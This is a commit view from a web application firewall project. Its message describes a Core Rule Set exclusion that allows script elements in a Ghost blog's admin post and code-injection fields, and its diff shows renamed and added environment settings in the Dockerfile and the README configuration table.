Compare commits

..
Author SHA1 Message Date
sneak 47f6132026 Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Failing after 3m42s
While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.

Model: opus-5-5
2026-11-12 04:48:42 +00:00
113 changed files with 3941 additions and 4167 deletions

No files matched your search

+1 -1
View File
@@ -226,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
RUN mkdir /var/lib/sww
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
+133 -129
View File
@@ -43,7 +43,8 @@ It protects against:
- give the clients of chosen networks and countries a fraction of every
limit, so that they are banned sooner;
- refuse or limit clients on a blocklist, a DNS blocklist, or with a high
AbuseIPDB score.
AbuseIPDB score;
- ban clients named by your own CrowdSec engine.
- Slow and oversized requests. Every request and every answer has a time limit
and a size limit.
@@ -211,7 +212,7 @@ account, a key, a token or an alert destination stays off until you give one.
setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
over a WebSocket counts as request bytes, and what the app sent as response
bytes.
- An invalid setting stops the process at start with one log line naming the
@@ -220,123 +221,125 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default:
| Variable | Default | What it does |
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `true`, or `false` while the lookup source is `off` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
| Variable | Default | What it does |
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
